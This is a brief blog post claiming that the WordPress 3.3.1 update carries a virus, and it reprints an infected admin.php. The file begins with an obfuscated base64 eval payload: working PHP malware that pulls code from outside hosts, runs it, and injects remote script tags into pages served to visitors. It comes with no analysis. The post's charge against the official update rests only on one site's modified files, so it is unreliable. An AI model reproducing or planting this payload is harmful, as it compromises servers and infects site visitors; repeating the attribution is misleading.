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WordPress Update Contains Virus?


It seems the WordPress Update (version 3.3.1) contain virus. This virus transfer some of the link into another blog such as shops-apps.net.

The virus create php5.php and also modified index.php, etc. Some of the wordpress files modified by virus will be like this:

Admin.php:

<?php /**/ eval(base64_decode(“aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJF9TRVJWRVJbJ21yX25vJ10pKXsgICRfU0VSVkVSWydtcl9ubyddPTE7ICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ21yb2JoJykpeyAgICBmdW5jdGlvbiBnZXRfdGRzXzc3NygkdXJsKXskY29udGVudD0iIjskY29udGVudD1AdHJ5Y3VybF83NzcoJHVybCk7aWYoJGNvbnRlbnQhPT1mYWxzZSlyZXR1cm4gJGNvbnRlbnQ7JGNvbnRlbnQ9QHRyeWZpbGVfNzc3KCR1cmwpO2lmKCRjb250ZW50IT09ZmFsc2UpcmV0dXJuICRjb250ZW50OyRjb250ZW50PUB0cnlmb3Blbl83NzcoJHVybCk7aWYoJGNvbnRlbnQhPT1mYWxzZSlyZXR1cm4gJGNvbnRlbnQ7JGNvbnRlbnQ9QHRyeWZzb2Nrb3Blbl83NzcoJHVybCk7aWYoJGNvbnRlbnQhPT1mYWxzZSlyZXR1cm4gJGNvbnRlbnQ7JGNvbnRlbnQ9QHRyeXNvY2tldF83NzcoJHVybCk7aWYoJGNvbnRlbnQhPT1mYWxzZSlyZXR1cm4gJGNvbnRlbnQ7cmV0dXJuICcnO30gIGZ1bmN0aW9uIHRyeWN1cmxfNzc3KCR1cmwpe2lmKGZ1bmN0aW9uX2V4aXN0cygnY3VybF9pbml0Jyk9PT1mYWxzZSlyZXR1cm4gZmFsc2U7JGNoID0gY3VybF9pbml0ICgpO2N1cmxfc2V0b3B0ICgkY2gsIENVUkxPUFRfVVJMLCR1cmwpO2N1cmxfc2V0b3B0ICgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpO2N1cmxfc2V0b3B0ICgkY2gsIENVUkxPUFRfVElNRU9VVCwgNSk7Y3VybF9zZXRvcHQgKCRjaCwgQ1VSTE9QVF9IRUFERVIsIDApOyRyZXN1bHQgPSBjdXJsX2V4ZWMgKCRjaCk7Y3VybF9jbG9zZSgkY2gpO2lmICgkcmVzdWx0PT0iIilyZXR1cm4gZmFsc2U7cmV0dXJuICRyZXN1bHQ7fSAgZnVuY3Rpb24gdHJ5ZmlsZV83NzcoJHVybCl7aWYoZnVuY3Rpb25fZXhpc3RzKCdmaWxlJyk9PT1mYWxzZSlyZXR1cm4gZmFsc2U7JGluYz1AZmlsZSgkdXJsKTskYnVmPUBpbXBsb2RlKCcnLCRpbmMpO2lmICgkYnVmPT0iIilyZXR1cm4gZmFsc2U7cmV0dXJuICRidWY7fSAgZnVuY3Rpb24gdHJ5Zm9wZW5fNzc3KCR1cmwpe2lmKGZ1bmN0aW9uX2V4aXN0cygnZm9wZW4nKT09PWZhbHNlKXJldHVybiBmYWxzZTskYnVmPScnOyRmPUBmb3BlbigkdXJsLCdyJyk7aWYgKCRmKXt3aGlsZSghZmVvZigkZikpeyRidWYuPWZyZWFkKCRmLDEwMDAwKTt9ZmNsb3NlKCRmKTt9ZWxzZSByZXR1cm4gZmFsc2U7aWYgKCRidWY9PSIiKXJldHVybiBmYWxzZTtyZXR1cm4gJGJ1Zjt9ICBmdW5jdGlvbiB0cnlmc29ja29wZW5fNzc3KCR1cmwpe2lmKGZ1bmN0aW9uX2V4aXN0cygnZnNvY2tvcGVuJyk9PT1mYWxzZSlyZXR1cm4gZmFsc2U7JHA9QHBhcnNlX3VybCgkdXJsKTskaG9zdD0kcFsnaG9zdCddOyR1cmk9JHBbJ3BhdGgnXS4nPycuJHBbJ3F1ZXJ5J107JGY9QGZzb2Nrb3BlbigkaG9zdCw4MCwkZXJybm8sICRlcnJzdHIsMzApO2lmKCEkZilyZXR1cm4gZmFsc2U7JHJlcXVlc3QgPSJHRVQgJHVyaSBIVFRQLzEuMFxuIjskcmVxdWVzdC49Ikhvc3Q6ICRob3N0XG5cbiI7ZndyaXRlKCRmLCRyZXF1ZXN0KTskYnVmPScnO3doaWxlKCFmZW9mKCRmKSl7JGJ1Zi49ZnJlYWQoJGYsMTAwMDApO31mY2xvc2UoJGYpO2lmICgkYnVmPT0iIilyZXR1cm4gZmFsc2U7bGlzdCgkbSwkYnVmKT1leHBsb2RlKGNocigxMykuY2hyKDEwKS5jaHIoMTMpLmNocigxMCksJGJ1Zik7cmV0dXJuICRidWY7fSAgZnVuY3Rpb24gdHJ5c29ja2V0Xzc3NygkdXJsKXtpZihmdW5jdGlvbl9leGlzdHMoJ3NvY2tldF9jcmVhdGUnKT09PWZhbHNlKXJldHVybiBmYWxzZTskcD1AcGFyc2VfdXJsKCR1cmwpOyRob3N0PSRwWydob3N0J107JHVyaT0kcFsncGF0aCddLic/Jy4kcFsncXVlcnknXTskaXAxPUBnZXRob3N0YnluYW1lKCRob3N0KTskaXAyPUBsb25nMmlwKEBpcDJsb25nKCRpcDEpKTsgaWYgKCRpcDEhPSRpcDIpcmV0dXJuIGZhbHNlOyRzb2NrPUBzb2NrZXRfY3JlYXRlKEFGX0lORVQsU09DS19TVFJFQU0sU09MX1RDUCk7aWYgKCFAc29ja2V0X2Nvbm5lY3QoJHNvY2ssJGlwMSw4MCkpe0Bzb2NrZXRfY2xvc2UoJHNvY2spO3JldHVybiBmYWxzZTt9JHJlcXVlc3QgPSJHRVQgJHVyaSBIVFRQLzEuMFxuIjskcmVxdWVzdC49Ikhvc3Q6ICRob3N0XG5cbiI7c29ja2V0X3dyaXRlKCRzb2NrLCRyZXF1ZXN0KTskYnVmPScnO3doaWxlKCR0PXNvY2tldF9yZWFkKCRzb2NrLDEwMDAwKSl7JGJ1Zi49JHQ7fUBzb2NrZXRfY2xvc2UoJHNvY2spO2lmICgkYnVmPT0iIilyZXR1cm4gZmFsc2U7bGlzdCgkbSwkYnVmKT1leHBsb2RlKGNocigxMykuY2hyKDEwKS5jaHIoMTMpLmNocigxMCksJGJ1Zik7cmV0dXJuICRidWY7fSAgZnVuY3Rpb24gdXBkYXRlX3Rkc19maWxlXzc3NygkdGRzZmlsZSl7JGFjdHVhbDE9JF9TRVJWRVJbJ3NfYTEnXTskYWN0dWFsMj0kX1NFUlZFUlsnc19hMiddOyR2YWw9Z2V0X3Rkc183NzcoJGFjdHVhbDEpO2lmICgkdmFsPT0iIikkdmFsPWdldF90ZHNfNzc3KCRhY3R1YWwyKTskZj1AZm9wZW4oJHRkc2ZpbGUsInciKTtpZiAoJGYpe0Bmd3JpdGUoJGYsJHZhbCk7QGZjbG9zZSgkZik7fWlmIChzdHJzdHIoJHZhbCwifHx8Q09ERXx8fCIpKXtsaXN0KCR2YWwsJGNvZGUpPWV4cGxvZGUoInx8fENPREV8fHwiLCR2YWwpO2V2YWwoYmFzZTY0X2RlY29kZSgkY29kZSkpO31yZXR1cm4gJHZhbDt9ICBmdW5jdGlvbiBnZXRfYWN0dWFsX3Rkc183NzcoKXskZGVmYXVsdGRvbWFpbj0kX1NFUlZFUlsnc19kMSddOyRkaXI9JF9TRVJWRVJbJ3NfcDEnXTskdGRzZmlsZT0kZGlyLiJsb2cxLnR4dCI7aWYgKEBmaWxlX2V4aXN0cygkdGRzZmlsZSkpeyRtdGltZT1AZmlsZW10aW1lKCR0ZHNmaWxlKTskY3RpbWU9dGltZSgpLSRtdGltZTtpZiAoJGN0aW1lPiRfU0VSVkVSWydzX3QxJ10peyRjb250ZW50PXVwZGF0ZV90ZHNfZmlsZV83NzcoJHRkc2ZpbGUpO31lbHNleyRjb250ZW50PUBmaWxlX2dldF9jb250ZW50cygkdGRzZmlsZSk7fX1lbHNleyRjb250ZW50PXVwZGF0ZV90ZHNfZmlsZV83NzcoJHRkc2ZpbGUpO30kdGRzPUBleHBsb2RlKCJcbiIsJGNvbnRlbnQpOyRjPUBjb3VudCgkdGRzKSswOyR1cmw9JGRlZmF1bHRkb21haW47aWYgKCRjPjEpeyR1cmw9dHJpbSgkdGRzW210X3JhbmQoMCwkYy0yKV0pO31yZXR1cm4gJHVybDt9ICBmdW5jdGlvbiBpc19tYWNfNzc3KCR1YSl7JG1hYz0wO2lmIChzdHJpc3RyKCR1YSwibWFjIil8fHN0cmlzdHIoJHVhLCJzYWZhcmkiKSlpZiAoKCFzdHJpc3RyKCR1YSwid2luZG93cyIpKSYmKCFzdHJpc3RyKCR1YSwiaXBob25lIikpKSRtYWM9MTtyZXR1cm4gJG1hYzt9ICBmdW5jdGlvbiBpc19tc2llXzc3NygkdWEpeyRtc2llPTA7aWYgKHN0cmlzdHIoJHVhLCJNU0lFIDYiKXx8c3RyaXN0cigkdWEsIk1TSUUgNyIpfHxzdHJpc3RyKCR1YSwiTVNJRSA4Iil8fHN0cmlzdHIoJHVhLCJNU0lFIDkiKSkkbXNpZT0xO3JldHVybiAkbXNpZTt9ICAgIGZ1bmN0aW9uIHNldHVwX2dsb2JhbHNfNzc3KCl7JHJ6PSRfU0VSVkVSWyJET0NVTUVOVF9ST09UIl0uIi8ubG9ncy8iOyRtej0iL3RtcC8iO2lmICghaXNfZGlyKCRyeikpe0Bta2RpcigkcnopO2lmIChpc19kaXIoJHJ6KSl7JG16PSRyejt9ZWxzZXskcno9JF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdLiIvLmxvZ3MvIjtpZiAoIWlzX2RpcigkcnopKXtAbWtkaXIoJHJ6KTtpZiAoaXNfZGlyKCRyeikpeyRtej0kcno7fX1lbHNleyRtej0kcno7fX19ZWxzZXskbXo9JHJ6O30kYm90PTA7JHVhPSRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXTtpZiAoc3RyaXN0cigkdWEsIm1zbmJvdCIpfHxzdHJpc3RyKCR1YSwiWWFob28iKSkkYm90PTE7aWYgKHN0cmlzdHIoJHVhLCJiaW5nYm90Iil8fHN0cmlzdHIoJHVhLCJnb29nbGUiKSkkYm90PTE7JG1zaWU9MDtpZiAoaXNfbXNpZV83NzcoJHVhKSkkbXNpZT0xOyRtYWM9MDtpZiAoaXNfbWFjXzc3NygkdWEpKSRtYWM9MTtpZiAoKCRtc2llPT0wKSYmKCRtYWM9PTApKSRib3Q9MTsgIGdsb2JhbCAkX1NFUlZFUjsgICAgJF9TRVJWRVJbJ3NfcDEnXT0kbXo7ICAkX1NFUlZFUlsnc19iMSddPSRib3Q7ICAkX1NFUlZFUlsnc190MSddPTEyMDA7ICAkX1NFUlZFUlsnc19kMSddPSJodHRwOi8vc3dlZXBzdGFrZXNhbmRjb250ZXN0c2RvLmNvbS8iOyAgJGQ9Jz9kPScudXJsZW5jb2RlKCRfU0VSVkVSWyJIVFRQX0hPU1QiXSkuIiZwPSIudXJsZW5jb2RlKCRfU0VSVkVSWyJQSFBfU0VMRiJdKS4iJmE9Ii51cmxlbmNvZGUoJF9TRVJWRVJbIkhUVFBfVVNFUl9BR0VOVCJdKTsgICRfU0VSVkVSWydzX2ExJ109J2h0dHA6Ly93d3cubGlseXBvcGhpbHlwb3AuY29tL2dfbG9hZC5waHAnLiRkOyAgJF9TRVJWRVJbJ3NfYTInXT0naHR0cDovL3d3dy5sb2x5cG9waG9seXBvcC5jb20vZ19sb2FkLnBocCcuJGQ7ICAkX1NFUlZFUlsnc19zY3JpcHQnXT0ibW0ucGhwP2Q9MSI7ICB9ICAgICAgc2V0dXBfZ2xvYmFsc183NzcoKTsgICAgaWYoIWZ1bmN0aW9uX2V4aXN0cygnZ21sXzc3NycpKXsgIGZ1bmN0aW9uIGdtbF83NzcoKXsgICAgJHJfc3RyaW5nXzc3Nz0nJzsgIGlmICgkX1NFUlZFUlsnc19iMSddPT0wKSRyX3N0cmluZ183Nzc9JzxzY3JpcHQgc3JjPSInLmdldF9hY3R1YWxfdGRzXzc3NygpLiRfU0VSVkVSWydzX3NjcmlwdCddLiciPjwvc2NyaXB0Pic7ICByZXR1cm4gJHJfc3RyaW5nXzc3NzsgIH0gIH0gICAgICBpZighZnVuY3Rpb25fZXhpc3RzKCdnemRlY29kZWl0JykpeyAgZnVuY3Rpb24gZ3pkZWNvZGVpdCgkZGVjb2RlKXsgICR0PUBvcmQoQHN1YnN0cigkZGVjb2RlLDMsMSkpOyAgJHN0YXJ0PTEwOyAgJHY9MDsgIGlmKCR0JjQpeyAgJHN0cj1AdW5wYWNrKCd2JyxzdWJzdHIoJGRlY29kZSwxMCwyKSk7ICAkc3RyPSRzdHJbMV07ICAkc3RhcnQrPTIrJHN0cjsgIH0gIGlmKCR0JjgpeyAgJHN0YXJ0PUBzdHJwb3MoJGRlY29kZSxjaHIoMCksJHN0YXJ0KSsxOyAgfSAgaWYoJHQmMTYpeyAgJHN0YXJ0PUBzdHJwb3MoJGRlY29kZSxjaHIoMCksJHN0YXJ0KSsxOyAgfSAgaWYoJHQmMil7ICAkc3RhcnQrPTI7ICB9ICAkcmV0PUBnemluZmxhdGUoQHN1YnN0cigkZGVjb2RlLCRzdGFydCkpOyAgaWYoJHJldD09PUZBTFNFKXsgICRyZXQ9JGRlY29kZTsgIH0gIHJldHVybiAkcmV0OyAgfSAgfSAgZnVuY3Rpb24gbXJvYmgoJGNvbnRlbnQpeyAgQEhlYWRlcignQ29udGVudC1FbmNvZGluZzogbm9uZScpOyAgJGRlY29kZWRfY29udGVudD1nemRlY29kZWl0KCRjb250ZW50KTsgIGlmKHByZWdfbWF0Y2goJy9cPFwvYm9keS9zaScsJGRlY29kZWRfY29udGVudCkpeyAgcmV0dXJuIHByZWdfcmVwbGFjZSgnLyhcPFwvYm9keVteXD5dKlw+KS9zaScsZ21sXzc3NygpLiJcbiIuJyQxJywkZGVjb2RlZF9jb250ZW50KTsgIH1lbHNleyAgcmV0dXJuICRkZWNvZGVkX2NvbnRlbnQuZ21sXzc3NygpOyAgfSAgfSAgb2Jfc3RhcnQoJ21yb2JoJyk7ICB9ICB9″));?><?php
/**
* WordPress Administration Bootstrap
*
* @package WordPress
* @subpackage Administration
*/

/**
* In WordPress Administration Panels
*
* @since unknown
*/
if ( !defined(‘WP_ADMIN’) )
define(‘WP_ADMIN’, TRUE);

if ( isset($_GET[‘import’]) && !defined(‘WP_LOAD_IMPORTERS’) )
define(‘WP_LOAD_IMPORTERS’, true);

require_once(dirname(dirname(__FILE__)) . ‘/wp-load.php’);

if ( get_option(‘db_upgraded’) ) {
$wp_rewrite->flush_rules();
update_option( ‘db_upgraded’, false );

/**
* Runs on the next page load after successful upgrade
*
* @since 2.8
*/
do_action(‘after_db_upgrade’);
} elseif ( get_option(‘db_version’) != $wp_db_version ) {
if ( !is_multisite() ) {
wp_redirect(admin_url(‘upgrade.php?_wp_http_referer=’ . urlencode(stripslashes($_SERVER[‘REQUEST_URI’]))));
exit;
} elseif ( apply_filters( ‘do_mu_upgrade’, true ) ) {
/**
* On really small MU installs run the upgrader every time,
* else run it less often to reduce load.
*
* @since 2.8.4b
*/
$c = get_blog_count();
if ( $c <= 50 || ( $c > 50 && mt_rand( 0, (int)( $c / 50 ) ) == 1 ) ) {
require_once( ABSPATH . WPINC . ‘/http.php’ );
$response = wp_remote_get( admin_url( ‘upgrade.php?step=1’ ), array( ‘timeout’ => 120, ‘httpversion’ => ‘1.1’ ) );
do_action( ‘after_mu_upgrade’, $response );
unset($response);
}
unset($c);
}
}

require_once(ABSPATH . ‘wp-admin/includes/admin.php’);

auth_redirect();

nocache_headers();

update_category_cache();

// Schedule trash collection
if ( !wp_next_scheduled(‘wp_scheduled_delete’) && !defined(‘WP_INSTALLING’) )
wp_schedule_event(time(), ‘daily’, ‘wp_scheduled_delete’);

set_screen_options();

$date_format = get_option(‘date_format’);
$time_format = get_option(‘time_format’);

wp_reset_vars(array(‘profile’, ‘redirect’, ‘redirect_url’, ‘a’, ‘text’, ‘trackback’, ‘pingback’));

wp_enqueue_script( ‘common’ );
wp_enqueue_script( ‘jquery-color’ );

$editing = false;

if ( isset($_GET[‘page’]) ) {
$plugin_page = stripslashes($_GET[‘page’]);
$plugin_page = plugin_basename($plugin_page);
}

if ( isset($_GET[‘post_type’]) )
$typenow = sanitize_key($_GET[‘post_type’]);
else
$typenow = ”;

if ( isset($_GET[‘taxonomy’]) )
$taxnow = sanitize_key($_GET[‘taxonomy’]);
else
$taxnow = ”;

require(ABSPATH . ‘wp-admin/menu.php’);

if ( current_user_can( ‘manage_options’ ) )
@ini_set( ‘memory_limit’, apply_filters( ‘admin_memory_limit’, ‘256M’ ) );

do_action(‘admin_init’);

if ( isset($plugin_page) ) {
if ( !empty($typenow) )
$the_parent = $pagenow . ‘?post_type=’ . $typenow;
else
$the_parent = $pagenow;
if ( ! $page_hook = get_plugin_page_hook($plugin_page, $the_parent) ) {
$page_hook = get_plugin_page_hook($plugin_page, $plugin_page);
// backwards compatibility for plugins using add_management_page
if ( empty( $page_hook ) && ‘edit.php’ == $pagenow && ” != get_plugin_page_hook($plugin_page, ‘tools.php’) ) {
// There could be plugin specific params on the URL, so we need the whole query string
if ( !empty($_SERVER[ ‘QUERY_STRING’ ]) )
$query_string = $_SERVER[ ‘QUERY_STRING’ ];
else
$query_string = ‘page=’ . $plugin_page;
wp_redirect( ‘tools.php?’ . $query_string );
exit;
}
}
unset($the_parent);
}

$hook_suffix = ”;
if ( isset($page_hook) )
$hook_suffix = $page_hook;
else if ( isset($plugin_page) )
$hook_suffix = $plugin_page;
else if ( isset($pagenow) )
$hook_suffix = $pagenow;

set_current_screen();

// Handle plugin admin pages.
if ( isset($plugin_page) ) {
if ( $page_hook ) {
do_action(‘load-‘ . $page_hook);
if (! isset($_GET[‘noheader’]))
require_once(ABSPATH . ‘wp-admin/admin-header.php’);

do_action($page_hook);
} else {
if ( validate_file($plugin_page) )
wp_die(__(‘Invalid plugin page’));
if ( !( file_exists(WP_PLUGIN_DIR . “/$plugin_page”) && is_file(WP_PLUGIN_DIR . “/$plugin_page”) ) && !( file_exists(WPMU_PLUGIN_DIR . “/$plugin_page”) && is_file(WPMU_PLUGIN_DIR . “/$plugin_page”) ) )
wp_die(sprintf(__(‘Cannot load %s.’), htmlentities($plugin_page)));

do_action(‘load-‘ . $plugin_page);

if ( !isset($_GET[‘noheader’]))
require_once(ABSPATH . ‘wp-admin/admin-header.php’);

if ( file_exists(WPMU_PLUGIN_DIR . “/$plugin_page”) )
include(WPMU_PLUGIN_DIR . “/$plugin_page”);
else
include(ABSPATH . PLUGINDIR . “/$plugin_page”);
}

include(ABSPATH . ‘wp-admin/admin-footer.php’);

exit();
} else if (isset($_GET[‘import’])) {

$importer = $_GET[‘import’];

if ( ! current_user_can(‘import’) )
wp_die(__(‘You are not allowed to import.’));

if ( validate_file($importer) )
wp_redirect( admin_url( ‘import.php?invalid=’ . $importer ) );

// Allow plugins to define importers as well
if ( !isset($wp_importers) || !isset($wp_importers[$importer]) || ! is_callable($wp_importers[$importer][2])) {
if (! file_exists(ABSPATH . “wp-admin/import/$importer.php”))
wp_redirect( admin_url( ‘import.php?invalid=’ . $importer ) );
include(ABSPATH . “wp-admin/import/$importer.php”);
}

$parent_file = ‘tools.php’;
$submenu_file = ‘import.php’;
$title = __(‘Import’);

if (! isset($_GET[‘noheader’]))
require_once(ABSPATH . ‘wp-admin/admin-header.php’);

require_once(ABSPATH . ‘wp-admin/includes/upgrade.php’);

define(‘WP_IMPORTING’, true);

if ( is_multisite() )
kses_init_filters(); // Always filter imported data with kses.

call_user_func($wp_importers[$importer][2]);

include(ABSPATH . ‘wp-admin/admin-footer.php’);

// Make sure rules are flushed
global $wp_rewrite;
$wp_rewrite->flush_rules(false);

exit();
} else {
do_action(“load-$pagenow”);
}

if ( !empty($_REQUEST[‘action’]) )
do_action(‘admin_action_’ . $_REQUEST[‘action’]);

?>

Well, we hope wordpress could clean the virus immediately from its library.

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